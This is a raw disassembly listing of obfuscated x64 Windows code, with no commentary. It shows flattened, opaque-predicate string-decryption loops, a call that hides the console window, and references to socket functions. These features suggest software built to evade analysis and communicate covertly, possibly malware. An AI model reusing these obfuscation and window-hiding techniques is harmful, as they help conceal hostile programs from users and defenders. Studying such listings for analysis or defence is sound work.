lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400ea314
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400ea2e9
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400ea2c4
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400ea29e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400ea090
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x200]
jmp 0x1400ea090
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x27
add r10b, dl
jmp 0x1400ea081
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7d
add r10b, dl
jmp 0x1400ea030
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2d
add r10b, dl
jmp 0x1400e9fb7
movabs rdx, 0xf34b2e3464de6ff8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400eab1c
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1e
inc r9
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0x42d594b93de554ec
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rdx, 0xea9ac7fbaa68c766
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400eab95
movabs rcx, 0x925ffb3e16ec39e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
add r8, r9
jmp 0x1400eabdd
movabs rcx, 0x3a252e80836fac5a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x76
jmp 0x1400eabdd
movabs rdx, 0xe1ea61c2eff31ed4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400eaa4d
movabs rdx, 0x89af95055c76914e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
jmp 0x1400eac16
movabs rcx, 0x3174c847c8fa03c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0x54e1c86dd842a1f9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x31
mov byte [rbp + rbx + 0x270], r10b
inc rbx
jmp 0x1400e9fa4
movabs rdx, 0xfca6fbb044c61473
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x25
add r10b, dl
cmp r9, 0xa
jb 0x1400ea42b
movabs rcx, 0x93b6c9c461d031b2
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400eab1f
movabs rdx, 0xa46c2ef2b14986ed
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7b
add r10b, dl
cmp r8, 0x3e8
jae 0x1400eaa06
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400ea88c
movabs rcx, 0x216aca5c9ef2aa76
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x1400ea45e
movabs rdx, 0x4c3162351dccf967
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2f
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1400eaa32
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400ea7ce
movabs rcx, 0x830164961256dc77
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
jmp 0x1400ea4b1
movabs rdx, 0xb67862a74ba6d3fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
movabs rdx, 0x5e3d95e9b82a4674
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
jmp 0x1400eac16
movabs rdx, 0x602c92c24adb8ee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400eaa4d
movabs rdx, 0xadc7fc6e91312b68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400eabdd
movabs rcx, 0x558d2fb0fdb49de2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
add r8, r9
jmp 0x1400eabdd
movabs rdx, 0xfd5262f36a38105c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400eab95
movabs rdx, 0xa5179635d6bb82d6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0x4cdcc978433ef550
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0xf4a1fcbaafc267ca
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 0x3d
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400eab1f
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400ea6fc
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
jmp 0x1400ea512
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ea73f
movabs rcx, 0x3cd2cb8d19379bfe
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 7
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
inc rax
cmp r8, rax
jne 0x1400ea770
movabs rcx, 0x458331c5d3ad4490
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 8
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400eabdd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ea79d
movabs rcx, 0xf5f8cb40faa65f9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x1400eab98
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400ea512
movabs rcx, 0xfea93179b51c082e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x1400eab1f
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400ea7fb
movabs rcx, 0xdb3c3153a5d369fd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
jmp 0x1400eab1f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ea82e
movabs rcx, 0x8bb1cacecccc8509
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
dec rbx
inc rbx
jmp 0x1400e9fa4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ea85b
movabs rcx, 0x9462310787422d9b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
jmp 0x1400eabdd
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400ea4b1
movabs rcx, 0x44d7ca82ae3b48a7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
jmp 0x1400eac19
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ea8cf
movabs rcx, 0x79a5971a326f37fc
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
inc rax
cmp r8, rax
jne 0x1400ea8fb
movabs rcx, 0x2a1b309559685308
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400eaa4d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ea92d
movabs rcx, 0x8255fd52ece4e08e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400eabdd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ea962
movabs rcx, 0xda90ca1080616e14
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_60
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
add r8, r9
jmp 0x1400eabdd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ea98f
movabs rcx, 0x32cb96ce13ddfb9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x1400eab98
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ea9c7
movabs rcx, 0x8b06638ba75a8920
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400e9fa4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ea45e
movabs rcx, 0xe34130493ad716a6
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_60
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0xebf19681f54cbf38
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
add r10b, r11b
jmp 0x1400eab98
movabs rcx, 0x442c633f88c94cbe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [rcx - 0x32]
lea edx, [rbx - 0x7f]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x79
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x270], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400eac19
movabs rcx, 0xb87a9870bbfcc7b5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0xa719cbff47117691
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rdx, 0xf6a4328420185b85
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
jmp 0x1400eab1c
movabs rdx, 0x462e9908f91f4079
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4f
add r10b, dl
lea ecx, [rbx + 0x75]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x33
add r11b, cl
mov byte [rbp + rbx + 0x270], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0x95b8ff8dd226256d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 5
dec rbx
inc rbx
jmp 0x1400e9fa4
movabs rdx, 0x3d7e32d03ea997e7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x51
add r10b, dl
lea ecx, [rbx - 5]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x23
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x270], r11b
add r8, r9
jmp 0x1400eabdd
movabs rcx, 0x8d08995517b07cdb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 3
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e9fa4
movabs rdx, 0xdc92ffd9f0b761cf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x57
add r10b, dl
lea edx, [rbx + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x270], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0x8458331c5d3ad449
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r10b
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e9fa4
movabs rcx, 0xeb462f3ecfdac34f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
jmp 0x1400e9fa0
movabs rcx, 0x930b62813c5e35c9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7f
jmp 0x1400e9f90
lea rcx, [rbp + 0x1578d74]
jmp 0x1400eacf5
lea rcx, [rbp + 0x115d437]
jmp 0x1400eacf5
lea rcx, [rbp + 0x270]
call fcn.140048e00
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rdi, 0xaca729988dd04ea2
movabs r14, 0x971618f5c0938ece
movabs r15, 0x64d00c28cc1ab6e6
movabs r12, 0x8ff8d6f901e89da
movabs r13, 0xdad35b840ef76c3e
movzx ebx, byte [rbp + 0x3d0]
movzx esi, byte [rbp + 0x3d0]
call fcn.140025e50
mov qword [rsp + 0x40], 0x64
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14001f650
mov rcx, rax
call fcn.14001f700
mov byte [rbp + 0x2a0], Ordinal_60
mov byte [rbp + 0x2a1], 0xde
mov byte [rbp + 0x2a2], Ordinal_217
mov byte [rbp + 0x2a3], 0xdf
mov byte [rbp + 0x2a4], Ordinal_200
mov byte [rbp + 0x2a5], 0xc9
mov byte [rbp + 0x2a6], Ordinal_41
mov byte [rbp + 0x2a7], 0xdb
mov byte [rbp + 0x2a8], Ordinal_217
mov byte [rbp + 0x2a9], 0xcc
mov byte [rbp + 0x2aa], 0xdf
mov byte [rbp + 0x2ab], Ordinal_211
mov byte [rbp + 0x2ac], 0x3e
mov byte [rbp + 0x2ad], 0xdc
mov byte [rbp + 0x2ae], 0xca
mov byte [rbp + 0x2af], 0xde
mov byte [rbp + 0x2b0], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x2b1], Ordinal_217
mov byte [rbp + 0x2b2], 0xfa
mov byte [rbp + 0x2b3], 0xe6
mov byte [rbp + 0x2b4], 0x40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b5], xmm0
mov qword [rbp + 0x2c5], rax
mov word [rbp + 0x2cd], ax
mov byte [rbp + 0x2cf], al
nop
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor eax, eax
mov r11d, eax
cmp r11, 0x30
jae 0x1400ebac0
movzx r10d, byte [rbp + r11 + 0x2a0]
nop dword [rax + rax]
cmp r8, r11
ja 0x1400ebab7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400eae8c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r10
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, r10
add sil, 0x5e
jmp 0x1400eaec5
je 0x1400eba27
inc rax
cmp r8, rax
je 0x1400eb9bf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400eb96e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400eb943
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400eb8f4
cmp r9, r11
ja 0x1400ebaae
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400eaef3
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x4a
add sil, dl
jmp 0x1400eaf30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400eb8d2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400eb8a7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400eb847
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400eb822
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400eb4ec
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400eb4c7
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400eb496
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400eb46b
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400eb446
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400eb41e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400eb3f6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400eb3d1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400eb3ac
lea r8, [r9 + 3]
lea r9, [r8 + 0x61]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400eba86
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400eba61
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400eb0fb
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400eb0dc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400eb0bd
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400eb349
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400eb2ef
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400eb299
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400eb269
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400eaf40
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400eb232
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400eb20d
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400eb1e8
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400eb1c0
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400eb19b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400eb176
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400eb148
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400eb11a
lea r8, [r9 + 6]
lea r9, [r8 + 0x64]
jmp 0x1400eaf40
lea rdx, [r11 + r12]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eaf30
lea rdx, [r11 + r13]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eaec5
lea rdx, [r11 + rdi]
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x6e
add sil, dl
jmp 0x1400eae60
movabs rcx, 0xf8542f5adfae9994
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0xc
inc r9
dec r11
inc r11
jmp 0x1400eae45
movabs rdx, 0xca27fd6f5e877bf8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
dec r11
inc r11
jmp 0x1400eae45
movabs rdx, 0x9bfbcb83dd605e5c
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb867
movabs rcx, 0x6dcf99985c3940c0
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x40
jmp 0x1400eb88b
movabs rdx, 0x3fa367acdb122324
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eb88e
movabs rdx, 0x117735c159eb0588
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb98e
movabs rdx, 0xe34b03d5d8c3e7ec
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x74
jmp 0x1400eb9df
movabs rcx, 0xb51ed1ea579cca50
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x30
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400eae45
movabs rcx, 0xc1b0551d94bb004a
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 6
mov byte [rbp + r11 + 0x2a0], sil
inc r11
jmp 0x1400eae45
movabs rdx, 0x938423321393e2ae
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
cmp r9, 0x80
jb 0x1400eb289
movabs rcx, 0x32cdf1eabacae614
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
add dl, cl
lea esi, [rdx*2 - 0x18]
jmp 0x1400eb917
movabs rdx, 0x6557f146926cc512
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x7e
add sil, dl
cmp r8, 0x400
jae 0x1400eb7d2
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400eb708
movabs rdx, 0x6513feb7af43bdfc
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1400eb2b1
movabs rdx, 0x372bbf5b1145a776
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x3a
add sil, dl
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x1400eb7fa
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400eb5f8
movabs rdx, 0x43f28ee3290716
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb30f
movabs rdx, 0x2eb4170947792bc8
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x78
jmp 0x1400eb9df
movabs rdx, 0x87e51dc6520e2c
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x34
jmp 0x1400eb98e
movabs rdx, 0xd25bb332452af090
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eb88e
movabs rdx, 0xa42f8146c403d2f4
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eb88b
movabs rdx, 0x76034f5b42dcb558
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x68
jmp 0x1400eb867
movabs rcx, 0x47d71d6fc1b597bc
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x24
dec r11
inc r11
jmp 0x1400eae45
movabs rdx, 0x19aaeb84408e7a20
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
inc r9
dec r11
inc r11
jmp 0x1400eae45
movabs rdx, 0xeb7eb998bf675c84
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb914
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400eb514
lea rdx, [r11 + r14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb369
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400eb531
movabs rdx, 0xc9a0185198356dcc
mov ecx, gethostname
jmp 0x1400eba36
inc rax
cmp r8, rax
jne 0x1400eb55e
movabs rdx, 0x25f87c289a83a904
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x1c
jmp 0x1400eb98e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400eb58f
movabs rdx, 0x8250dfff9cd1e43c
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eb88b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400eb5bd
movabs rdx, 0xb07d11eb1df901d8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, ntohl
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb867
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400eb36c
movabs rcx, 0xcd575c220473d10
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x70
inc r9
dec r11
inc r11
jmp 0x1400eae45
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400eb626
movabs rdx, 0x2e70247a645024b2
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb914
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400eb65a
movabs rcx, 0x8ac88851669e5fea
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x66
dec r11
inc r11
jmp 0x1400eae45
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400eb68b
movabs rdx, 0xe720ec2868ec9b22
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eb88b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400eb6b9
movabs rdx, 0x43794fff6b3ad65a
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x76
jmp 0x1400eb98e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400eb6e7
movabs rdx, 0x71a581eaec61f3f6
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb9df
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400eb312
movabs rdx, 0x9fd1b3d66d891192
mov ecx, 1
jmp 0x1400eba36
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400eb748
movabs rcx, 0x934030a3306adb98
